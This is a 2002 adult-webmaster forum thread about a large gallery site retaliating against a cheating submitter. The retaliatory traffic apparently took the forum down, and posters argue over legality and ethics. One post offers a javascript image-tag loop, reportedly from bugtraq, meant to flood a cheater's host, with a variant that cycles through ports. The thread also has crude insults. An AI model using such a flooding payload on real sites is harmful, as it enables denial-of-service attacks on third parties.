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10-25-2002, 03:36 PM

Originally posted by The Hun

For you as well: please read the entire topic to see what happened. If this was a simple shitty gallery I think I would be capable to decline it in the first place.

People, the guy doesn't drive a Ferrari because he's stupid.
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10-25-2002, 03:38 PM

Originally posted by FATPad
You can assume what you want, Sleazy. I couldn't care less.

If you want a cheat free site, trade only with people you know, and list only galleries from people you know, otherwise expect cheaters, and delete them and blacklist them.

And now I'm done repeating that for you.

interesting reference you gave me. You ICQed me and told me to ask shemp about you, I phoned shemp. No reference........

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10-25-2002, 03:38 PM

Originally posted by goddab mi

this is reminding me of my cousin's e-mail auto-responder that got into a loop with another auto-responder - had 16.000 e-mails when he woke up the next morning

Good story

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10-25-2002, 03:44 PM

TheHun--
Well, we had this debate about http://www.cliphunter.com .
Gotys takes these galleries from other TGPs. Although tgps claim this breaks their TOS. They do nothing, and continue to trade with both his sites.

I think that the gallery links are fair game, but not the descriptions of course. I don't run a tgp btw, so I have no idea about the work invloved in listings. The point of the example, though, is that people tend to justify their behavior by the size of their site or their wallet.

Only "The Shemp" came out and said that it was wrong to steal his listings, all others remained silent.

I'm curious to hear your opinion on this. What action will you take?

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10-25-2002, 03:53 PM

Originally posted by Za Ha

Have you read my post about selling a 300,000 a day tgp?

Everyone one of those people has the same problem... they cannot believe that something like that is possible cause they cant do it.....

Probably 90% of the people on GFY are like that....

hahahahahaha, you really think anyone is stupid enough to believe that if you had a 300k/day tgp it would be anything but hitbot traffic? LOL, don't be stupid.

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10-25-2002, 03:55 PM

Originally posted by <IMX>
TheHun--
Well, we had this debate about http://www.cliphunter.com .
Gotys takes these galleries from other TGPs. Although tgps claim this breaks their TOS. They do nothing, and continue to trade with both his sites.

I think that the gallery links are fair game, but not the descriptions of course. I don't run a tgp btw, so I have no idea about the work invloved in listings. The point of the example, though, is that people tend to justify their behavior by the size of their site or their wallet.

Only "The Shemp" came out and said that it was wrong to steal his listings, all others remained silent.

I'm curious to hear your opinion on this. What action will you take?

Upon an e-mail I got about this site I checked it out, but couldn't find any of my links listed there... I took action against people taken my links in the past. One case made it to court. I won 'cause of the (international) database protection laws
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10-25-2002, 04:00 PM

TheHun--
So, what do you say to the people that support your cause, i.e. someone breaking your TOS; however, they do not speak out against a similar breaking of TOS, as in the case of cliphunter.

In both cases the TOS are not law.

Mind you, I support cliphunters right to take galleries, just not verbatim descriptions.

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10-25-2002, 04:01 PM

The way this cheater is submitting galleries to The Hun looks like he wants to take more than half of The Hun daily listings.
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10-25-2002, 04:02 PM

I'm not offering service to anyone taking my links, so this has nothing to do with TOS... this is about law. 3 of 'em. Database protection laws, copyright laws and author's rights. All very clear laws, and very easy to enfource.
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10-25-2002, 04:05 PM

Originally posted by <IMX>
TheHun--
Well, we had this debate about http://www.cliphunter.com .
Gotys takes these galleries from other TGPs. Although tgps claim this breaks their TOS. They do nothing, and continue to trade with both his sites.

I think that the gallery links are fair game, but not the descriptions of course. I don't run a tgp btw, so I have no idea about the work invloved in listings. The point of the example, though, is that people tend to justify their behavior by the size of their site or their wallet.

Only "The Shemp" came out and said that it was wrong to steal his listings, all others remained silent.

I'm curious to hear your opinion on this. What action will you take?

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10-25-2002, 04:06 PM

TheHun--
I'm not clear on these laws you speak of. So, you are saying that cliphunter is breaking the law if he is listing sites from other tgps?

Please explain what laws are being broken.

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10-25-2002, 04:07 PM

Originally posted by The Hun
with the right lawyer that will be fraud,

I HIGHLY doubt suing a gallery submitter who changes his galleries would stand up in court. A TGP simply links to other people's sites. What is on those sites at any given time is up to them. A TGP owner has absolutely no legal right to say what someone can and can't do with their own personal webspace they've bought.

TGP's want a LEGAL right to block gallery submitters from changing their galleries? Then have each and every gallery submitter FedEx a contract agreement stating they won't change their gallery after it's approved.

You'd never win in court without such a legal understanding as a signed contract.

This is like saying a phonebook company against listing "immoral" businesses could sue a business 2 months after the book is published because they "changed their business". Give me a break.

And for the record... I am totally against changing galleries (or cheating of any kind), and I'd never do it. I'm just looking at this from a common sense perspective. Running a TGP is a bitch sometimes, and running one with 1m visitors much be a bitch all the time. Deal with it.
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10-25-2002, 04:10 PM

FletchXXX--
I know, I saw that url.

My point is that TGP owners rally in support of thehun, on this thing.

But had nothing to say about the link issue, when it was another large site using the links.

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10-25-2002, 04:11 PM

The Hun, why not create a system where the webmaster is rated by your script ?

I submit to you since 1999 (now using my real name - Renato - since you ask for it in the form).

For example:

1 star: Had less than 10 galleries approved.
2 stars: 11-20 galleries approved.
3 stars: 21-30 galleries approved.
4 stars: 31-50 galleries approved.
5 stars: 51+ galleries approved.

You could maintain like 30% of the galleries for those with 1 or 2 stars. The other webmasters would take the rest of the non-paid listings.
If the guy is a cheater, he would have just 1 gallery approved of course (so less chances to have his galleries listed)

Just a sugestion.

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10-25-2002, 04:12 PM

Originally posted by The Hun

Greentea, please don't lower yourself to namecalling... Calling me an Asshole is out of line in this case... Please read the beginning of this post. I am not responsible for taking GFY down. Drawnsex did that...

That's what I thought. The Hun sent this guy Drawnsex hits/img src or whatever, but that's it!! THAT guy is the asshole who directed it to here!!!!!!!! Why aren't people finding that fuckin asshole? He must be a member, he didn't just guess the gofuckyourself url.

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10-25-2002, 04:14 PM

Originally posted by Matt 26z

I HIGHLY doubt suing a gallery submitter who changes his galleries would stand up in court. A TGP simply links to other people's sites. What is on those sites at any given time is up to them. A TGP owner has absolutely no legal right to say what someone can and can't do with their own personal webspace they've bought.

Redirecting people straight to dialers without an explanation of what they are. Linking people who are under the impression they are about to receive a free gallery to a dialer so they'll click, taking adventage of the trust I build up, ruining good reputation, misleading advertising... I don't know if these are all illegal, but throw enough mud and something will stick. I don't mind paying a (good) lawyer if it comes down to it. A cheater like this is costing me money....

I'm not clear on these laws you speak of. So, you are saying that cliphunter is breaking the law if he is listing sites from other tgps?

I'm talking about simple copyright laws, database protection laws and author's rights. Look 'em up in the legal documents, they should be all there...
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10-25-2002, 04:36 PM

Originally posted by PersianKitty

::sniffle:: I'll never win one.

same here, my only topics that hit many pages are when i accuse someone....
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10-25-2002, 04:36 PM

TheHun--
I've now read it.

It seems, using similar logic as the document presents, as long as some one collects links from a variety of publically available sources that link to publically available sites and reorganizes thier directory in an original manner they are ok. After all, this is what a search engine does.

However, I'm still interested in hearing your opinion on the specific case of cliphunter. As long as he doesn't use your links you don't care?

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10-25-2002, 04:46 PM

TheHun, here's a lil snippet of code that was posted on bugtraq some days ago, You might find it usefull ;) ...

[IMG src="javascript"for (i = 1; i <= 5000; i++) {window.location.replace ('file:////www.cheatershost.com/')};')"]

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Another way to accomplish this is to use the same peice of javascript but use http://cheatersip: and increment port numbers with the loop.

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10-25-2002, 05:00 PM

Originally posted by The Hun
Another one just came in. http://www.sweetnsexybutts.com/g2610/221.html.

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10-25-2002, 05:21 PM

Originally posted by Sly_RJ
Sleazy, you need to take a debate class, or something. The minute you start your defense by mentioning your success, or the lack thereof someone else's success, you've already lost the argument. Almost EVERY argument you get in, boils down to your success. Why? Who gives a shit? Not many people around here need to kiss your ass, for various reasons, so why do you expect them to?

That was good very fucking good..

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10-25-2002, 05:45 PM

With a miilion perm galleries floating around + thousands of sponsor hosted, who in their right mind would want to leach the Huns galleries.

20 emails to the right TGP's will get you enough clean daily galleries to build 10 sites - no need to leach.
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10-25-2002, 06:08 PM

That is SO fucked....probably why the board has been down for me

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10-25-2002, 06:17 PM

Originally posted by Loch
That is SO fucked....probably why the board has been down for me

Exactly, I wonder how long they're gonna play the game and how long we have to suffer because of this silly shit. Every coule minutes GFY isnt loading for me, dont know bout you guys...

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10-25-2002, 06:21 PM

Originally posted by eroswebmaster

Why in the fuck do people think they're so smart to ask such dumb ass questions when the answer was posted just a few messages before.

Try reading the fucking thread before hitting the reply button.

GO FUCK YOURSELF FLOPDICK!
AND READ THE WHOLE THREAD YOURSELF!

When I posted my response THE HUN had only made his first post.

I imagine he read his 1st post AND noticed it was lacking information, so he posted another message at the same time I posted mine.

If YOU would have just read the first page of this thread you would have learned this on your own, but since you are too busy wanting to be a DICK and TRY to make me look like an idiot here is another big: GO FUCK YOURSELF!

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10-25-2002, 06:37 PM

Originally posted by The Hun

Let's keep this a bit civilized people... But what you're saying would be the same as "don't open a shop if you don't want to be shoplifted"... My site is not built to cheat on, same as a shop not being opened for people to lift it.... Still it happens, so you have to protect yourself, simple as that. This is not a one time kid who nicked some candy for the first time, this is the mofo who walked into the store for the 15th time to rob the place blind...

good point, but does that give you the right to go out
and shoot the guy ?

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10-25-2002, 06:58 PM

Originally posted by AWW - Kevin

good point, but does that give you the right to go out
and shoot the guy ?

No but kicking his ass hard won't be a problem
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10-25-2002, 07:03 PM

Originally posted by Sly_RJ
Sleazy, you need to take a debate class, or something. The minute you start your defense by mentioning your success, or the lack thereof someone else's success, you've already lost the argument. Almost EVERY argument you get in, boils down to your success. Why? Who gives a shit? Not many people around here need to kiss your ass, for various reasons, so why do you expect them to?

I never say I'm successful. I throw parties for other people who are successful and I have friends who have done very well for themselves, but I don't think I've made it yet.

Obviously you think I'm sucessful...........

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10-25-2002, 07:08 PM

Come on dude unban cogent. There has to be some other way.
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10-25-2002, 07:15 PM

Originally posted by SleazyDream

I never say I'm successful. I throw parties for other people who are successful and I have friends who have done very well for themselves, but I don't think I've made it yet.

Obviously you think I'm sucessful...........

Why did you take this part out:
"Only someone who's unsuccessful would say that"

Hmm...

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10-25-2002, 07:16 PM

>I'm talking about simple copyright laws, database protection
>laws and author's rights. Look 'em up in the legal documents,
>they should be all there...

Hun, you have to sue google - they list (steal?) all galleries submitted to you.

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10-25-2002, 07:17 PM

Originally posted by Sly_RJ

Why did you take this part out:
"Only someone who's unsuccessful would say that"

Hmm...

both statements are true

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10-25-2002, 07:18 PM

Originally posted by SleazyDream

both statements are true

Ahaha... and so are mine.

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10-25-2002, 07:19 PM

my congratulations to the gallery builder who managed to have 50 webmasters talking for him
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10-25-2002, 07:25 PM

Originally posted by Soul_Rebel
my congratulations to the gallery builder who managed to have 50 webmasters talking for him

One shouldn't pat himself on the back too often.

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10-25-2002, 07:27 PM

What a fucked up situation.

I had fuckin' withdrawl symptons. Hot and cold sweats.. I cried out "go fuck yourself" in my sleep and woke up the neighbours. And then i had some bizarre dream about sucking on Boneprone's nipple.

Anyways, rather than pay per submission, couldn't you setup some sort of monthly subscription fee? If the amount were reasonable, i don't think people would mind if a few of their galleries were denied each month. And if their galleries really were shithouse, you could just send them to your FAQ page, give them a better idea of what you want.

But for the love of god, don't take my daily GFY away.

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10-25-2002, 07:30 PM

Originally posted by AWW - Kevin

good point, but does that give you the right to go out
and shoot the guy ?

This is exactly what he's done. And while the little bastard was running away, he dodged left, and the bullet hit Lensman.

'nuff said! I believe they call that manslaughter, or wreckless endangerment..

Serverslaughter? lol

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10-25-2002, 07:30 PM

huns lucky his attack tookout GFY, and not FBI.com
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10-25-2002, 07:31 PM

Originally posted by Shane
huns lucky his attack tookout GFY, and not FBI.com

fbi.gov smartass
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10-25-2002, 07:36 PM

Originally posted by Shane
huns lucky his attack tookout GFY, and not FBI.com

Exactly.

I know 2600 redirected their site to a FBI site on April Fools day saying they had been taken over by the FBi, and dumped a fucklooad of hits on some site.

They were sued but won.

Judge said you can send your traffic wherever you want.

Similar case regarding the URl such as fuckgeneralmotors.com where they were sued as well for pointing it to generalmotors.com Judge again said you can send your traffic wherever you want. As well as URl poitinging, you can point a domain anywhere you want without damage too.

I dont have links but the cases are real, possibly find info on their site since they are proud of it hehehe

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10-25-2002, 07:36 PM

Now, that's is fuckin funny

Click at any link at http://drawnsex.com/
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10-25-2002, 07:37 PM

It always amazes me just how many people are totally jealous of those who have made something of themselves. The sad part is they usually have NO IDEA just how much work it takes EVERY DAY over MANY YEARS to get a real site off the ground and get some real traffic flowing through it. Hammering the hun - someone who goes more than the EXTRA mile for newbies on this issue is soo pathetic it makes me want to cry. He has soooo much patience with you idiots it's incredible. If I was in his position I'd have closed down the submission account years ago and dealt only with people who weren't gona fuck me around. You'd have to jump through a few hoops to get a perferered submitter account, but once you got it there wouldn' t be any worries.

It's soo sad, he does more than MOST estabilshed sites for new webmasters and yet still there are people who bite him in the hand when he offers you a bone to start with.

If you bite the hand that feeds you expect to get smacked. If you bite it again you'll get smacked harder. If you keep biting you'll get put down.

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10-25-2002, 07:38 PM

Originally posted by Shane
huns lucky his attack tookout GFY, and not FBI.com

I'd say the CHEATER is lucky he didn't re-direct to that site. Hun didn't do anything wrong.

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10-25-2002, 07:39 PM

Fletch,i remember too the 2600 case
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10-25-2002, 07:41 PM

Originally posted by SleazyDream
It always amazes me just how many people are totally jealous of those who have made something of themselves. The sad part is they usually have NO IDEA just how much work it takes EVERY DAY over MANY YEARS to get a real site off the ground and get some real traffic flowing through it. Hammering the hun - someone who goes more than the EXTRA mile for newbies on this issue is soo pathetic it makes me want to cry. He has soooo much patience with you idiots it's incredible. If I was in his position I'd have closed down the submission account years ago and dealt only with people who weren't gona fuck me around. You'd have to jump through a few hoops to get a perferered submitter account, but once you got it there wouldn' t be any worries.

It's soo sad, he does more than MOST estabilshed sites for new webmasters and yet still there are people who bite him in the hand when he offers you a bone to start with.

If you bite the hand that feeds you expect to get smacked. If you bite it again you'll get smacked harder. If you keep biting you'll get put down.

You forgot to mention how successful you were. Doh!

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10-25-2002, 07:42 PM

Originally posted by Soul_Rebel
Fletch,i remember too the 2600 case

Yeah, not the best examples as one is URL pointing and the other Img Srcing, but thought id drop it in the bucket anyhow.

Good reading anyway if ya can find info on it.

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10-25-2002, 07:43 PM

Originally posted by Sly_RJ

You forgot to mention how successful you were. Doh!

you must really think I'm something by the number of times you keep bringing that up. You looking for an autograph or something?

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10-25-2002, 07:45 PM

Originally posted by SleazyDream
It always amazes me just how many people are totally jealous of those who have made something of themselves.

Actually, you just might be on to something here. I hate bringing world politics into this thread, but I'm going to for just a second...

The reasoning you stated above is the EXACT reason all foreign countries (foreign from the United States) hate the United States. They're all jealous of what we have. Plain and simple. Thank fucking God someone other than an American finally admits to it.

Thank you Sleazy, that REALLY made my day.

Ok, back to bashing image sourcing...

EDIT: Had a typo.

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10-25-2002, 07:47 PM

Originally posted by Soul_Rebel
Fletch,i remember too the 2600 case

I just looked up the thread I started the day they did it, and it was redirecting to

cybercrime.gov

http://gofuckyourself.com/showthread...threadid=55280

;)

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10-25-2002, 07:54 PM

Originally posted by Soul_Rebel

same here, my only topics that hit many pages are when i accuse someone....

Hmmm.. Soul_Rebel... how about if one week.. you start a topic accusing me... and we go back and forth arguing about it all week.. then the next week I'll start one accusing you..... DVD players for everyone!!

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